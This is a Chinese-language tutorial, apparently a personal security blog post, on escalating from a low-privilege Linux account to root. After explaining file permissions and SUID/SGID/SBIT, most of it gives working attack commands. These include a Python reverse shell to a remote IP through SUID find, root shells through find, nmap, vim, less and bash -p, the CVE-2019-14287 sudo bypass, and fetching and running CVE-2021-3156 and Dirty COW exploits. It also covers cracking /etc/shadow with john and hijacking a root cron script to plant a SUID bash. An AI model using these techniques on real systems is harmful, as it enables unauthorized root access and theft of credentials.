当拿到了一台Linux服务器的低权限账号,想要通过技术手段提权至 root 用户权限,以执行更多的操作。
linux权限
用户
在Linux系统中,用户是分角色的,角色不同,对应权限不同。用户角色通过UID和GID识别。特别是UID,一个UID是唯一标识一个系统用户的账号。
- 超级用户(0):默认是root用户,其UID和GID都是0。root用户在每台Unix和Linux系统中都是唯一且真是存在的,通过它可以登陆系统,操作系统中任何文件执行系统中任何命令,拥有最高管理权限。
- 普通用户(1~499):系统中大多数用户都是普通用户,实际中也一般使用普通用户操作,需要权限是用sudo命令提升权限。
- 虚拟用户(500~65535):与真实的普通用户区分开来,这类用户最大特点是安装系统后默认就会存在,且默认情况大多数不能登陆系统,其在/etc/passwd文件中,最后字段为/sbin/nologin。是系统正常运行不可缺少的,主要是方便系统管理,满足相应的系统进程对文件属主的要求
文件
1 | -rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt |
这里可以分为7个字段。
第一组数据 -rw-r–r–
1 | 第一位: |
第二组数据
- 如果文件类型为目录,表示目录下的字目录个数
- 如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数
第三组数据 root . 表示该文件所有者为 root 用户
第四组数据 root. 表示该文件所在组为root 组
第五组数据 56 表示文件的大小为多少字节。如果为一个目录,则为4096。 第六组数据表示最后一次修改时间
第七组数据表示文件名称
如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录
同样的,可以用数字代替,r=4,w=2,x=1。
SUID/SGID/SBIT的作用?
1 SUID
当s出现在文件拥有者的x权限上时,如我们上面看到的/usr/bin/passwd这个文件的权限时-rwsr-xr-x,此时就被称为SET UID简称SUID.SUID对于一个文件有什么限制和功能呢?
SUID权限仅对二进制可执行文件有效,执行者对于该文件具有x的权限,本权限仅在执行该文件的过程中有效,执行者将具有该文件拥有者的权限。
例如:
普通用户用passwd修改自己的命令,实际上最终更改的是/etc/passwd文件. 此文件时用户管理配置文件,只有root权限才能更改。
既然是root用户才拥有此权限,为什么我们可以通过passwd命令来修改密码呢,那这就要归功于passwd设置了suid权限位了。
此时普通用户通过执行passwd命令,临时拥有root权限,间接的修改/etc/passwd,以达到修改自己密码的权限。
2 SGID
当s出现在目录或文件所属群的x权限上时,此时就称为SET GID简称SGID,那SGID对文件和目录分部有哪些功能呢?
2.1 SGID对目录
使用者若对于此目录具有 r 与 x 的权限时,该使用者能够进入此目录
使用者在此目录下的群组将会变成该目录的群组
若使用者在此目录下具有 w 的权限(可以新建文件),则使用者所创建的新文件,该新文件的群组与此目录的群组相同
2.2 SGID对文件
SGID 对二进制可执行文件有效
程式执行者对于该文件来说,需具备 x 的权限
执行者在执行的过程中将会获得该文件群组的支援(用于改文件群组的权限)
3 SBIT
当s出现在目录其他用户的x权限上时,此时就称为Sticky Bit简称SBIT,那SBIT有哪些限制和作用呢?
仅对目录有效,对文件无效
当使用者在该目录下建立文件或目录时(有权限的情况下),仅自己与 root 才有权力删除新建的目录或文件
提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用。
内核提权
1 | 查看发行版 |
例如
1 | kali@kali:~/Desktop$ cat /etc/issue |
SUID 提权
什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
常见的可用来提权的Linux 可执行文件有:
1 | Nmap, Vim, find, bash, more, less, nano, cp |
查看可以suid 提权的可执行文件
1 | find / -perm -u=s -type f 2>/dev/null |
find
1 | ye1s@ye1s:~/Desktop$ ls -la /usr/bin/find |
反弹shell,结合python
1 | /usr/bin/find ye1s -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \; |
但是反弹的 shell 不是 root 权限,在本机上 find 执行 id 时,有一个 euid (euid 就是我们通常说的 suid, 或者叫 excute user id,它使文件执行时拥有该文件所有者的权限。)为 root 权限,但是反弹 shell 中并没有。
获取root权限的shell
默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了 -p 参数,则不会再覆盖。
1 | ye1s@ye1s:~/Desktop$ /usr/bin/find ye1s -exec /bin/bash -p \; |
cp
1 | ye1s@ye1s:~/Desktop$ cat /etc/passwd >passwd |
nmap
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
1 | nmap -V |
Nmap - 版本识别
交互模式可以通过执行Nmap参数”interactive”
1 | nmap --interactive |
Nmap - 交互模式
以下命令将提供一个提升的shell。
1 | nmap> !sh |
提权至Root权限
也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。
1 | exploit/unix/local/setuid_nmap |
VIM
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
1 | vim.tiny /etc/shadow |
Vim - Shadow文件读取
1 | vim.tiny |
less and more
less
less命令也可以进入shell
1 | less /etc/passwd |
more
more命令进入shell和less相同
1 | more /etc/passwd |
使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能,无法使用!命令进入shell
利用bash提权
以下命令将以root权限打开一个bash shell。
1 | bash -p |
Sudo 提权
CVE-2019-14287
[提权]sudo提权复现(CVE-2019-14287) https://www.cnblogs.com/-mo-/p/11683402.html
该漏洞是一个sudo安全策略绕过问题,可导致恶意用户或程序在目标 Linux 系统上以 root 身份执行任意命令。个人觉得该漏洞比较鸡肋,因为需要特殊的配置才能触发,在默认的Linux中并不会存在该安全问题。
影响版本:
任何linux机器上执行sudo -V得到的版本 < 1.8.28均可
由于需要特定的配置,所以首先修改配置文件sudoers(文件位置/etc/sudoers)
在 root ALL=(ALL:ALL) ALL 下面添加一行配置:
1 | test ALL=(ALL,!root) ALL |
详解
1 | 1.其中的test表示用户名 |
添加的这一行的配置的意思就是:test这个用户可以使用sudo命令,以除了root以外的任意身份去执行命令。
执行sudo -u#id whoami,这里的id可以去试任何id
尝试高权限操作
执行cat /etc/shadow失败
执行sudo -u#-1 cat /etc/shadow成功
使用 sudo -u#id 指定用户 id 去执行命令,由于可以指定id,所以可以使用-u#-1或者-u#4294967295绕过限制,从而以root身份去执行任意代码:这是因为 sudo 命令本身就已经以用户 ID 为0 运行,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令
CVE-2021-3156
当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。
影响版本:
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影响版本:
sudo =>1.9.5p2
检测方式
1 | sudoedit -s / |
报错开头以sudoedit则存在漏洞,报错以usage开头,则不受影响
下载exp并执行
1 | git clone https://github.com/blasty/CVE-2021-3156.git |
密码破解
在Linux系统中,涉及系统登陆密码的重要文件有两个:
1 | /etc/passwd |
Linux操作系统采用5中常用的加密算法,主要通过账号后面的$x进行判断
1 | $1:Md5加密算法 |
需要安装jhon
1 | sudo unshadow /etc/passwd /etc/shadow > shadow |
生成一个名为shadow的密码文件,接下来使用密码字典进步暴力破解
1 |
|
内核提权
Linux系统内核指的是一个由 Linus Torvalds 负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。
Linux内核版本有两种:稳定版 和 开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
- 第一个组数字:目前发布的内核主版本。
- 第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
- 第三个组数字:错误修补的次数。
如下,使用 uname -r 可以看到linux系统的发行版本号。3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。 而 123.el7.x86_64则是 redhat 的发行版本信息,123 代表编译123次,el7代表的是redhat7,x86_64则是64位系统。
1 | ye1s@ye1s:~$ uname -r |
检查linux提权辅助工具,les该工具主要帮助检测linux内核的安全缺陷。
下载地址:
1 | https://github.com/mzet-/linux-exploit-suggester |
将linux-exploit-suggester.sh下载到要检查的主机上,主要使用以下两条指令:
1 | chmod +x linux-exploit-suggester.sh |
利用kail的searchsploit,可以写更多的搜索字符串条件来缩小范围
1 | e1s@kali:/usr/share/exploitdb/exploits/linux/dos$ searchsploit ubuntu 4.8.0 |
exp的路径为相对路径,还需加上/usr/share/exploitdb/exploits/,
需要漫长地点开exp看具体要求的筛选过程,大部分exp都会写清生效条件。因此虽然很气,但也很快地去掉一些不具备利用条件的exp。
1 | #gcc exp.c |
脏牛漏洞提权(CVE-2016-5195)
影响版本
Linux 内核2.6.22 < 3.9
https://github.com/FireFart/dirtycow
编译
1 | gcc -pthread dirty.c -o dirty -lcrypt |
运行
1 | ./dirty |
或者
1 | ./dirty my-new-password |
然后
1 | su firefart |
Crontab
Crontab通常以root权限运行。如果可以成功篡改在定时任务执行的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。
crontab命令用来定期执行程序。
1 | -e 编辑当前的crontab文件,默认保存在/var/spool/cron/用户名下 |
语法格式
分 时 日 月 周 需要执行的命令
1 | 分:0~59 |
如:
1 | */2 * * * * echo `date` >> /tmp/stu01 |
表示每两分钟输出时间到/tmp/stu01文件
/var/spool/cron/user 用来区分每个用户自己的执行计划
而 /etc/crontab 表示系统执行计划,需要在五个*
后面加上用户
如编辑/etc/crontab 文件
如添加
1 | */1 * * * * root ls />> /tmp/cron |
表示每分钟执行ls命令并输出到/tmp/cron 文件。
假如root用户配置不当,在/etc/crontab文件创建了一个计划任务。
意为每分钟执行test.sh文件并输出到/tmp/test.txt文件。
查看该test.sh文件以cseroad用户身份运行。
我们可以通过覆盖test.sh文件提升为root权限。
1 | echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> test.sh |
几分钟后,tmp目录下会创建出SUID权限的bash。
/tmp/bash -p 即可获取root权限
第三方服务提权
第三方服务提权
我们还可以查看主机上其他的第三方服务,利用第三方服务的漏洞可以拿到主机的 root 权限。比如如果主机的mysql或tomcat是用root权限启动的,而我们又通过漏洞拿到了mysql或tomcat的权限,就相当于获得了root的权限。
密码复用
很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。
参考文章:
Linux提权总结_谢公子博客
https://www.hacking8.com/tiquan/other/Linux%E6%8F%90%E6%9D%83.html
对Linux 提权的简单结:https://blog.csdn.net/weixin_41679427/article/details/110311694
Linux提权之Suid提权:https://www.secice.cn/p/a20c8cf4
sudo提权总结: https://www.jianshu.com/p/71cb0ee0f0ea
linux 提权-Crontab提权:https://www.jianshu.com/p/039cc25c03dd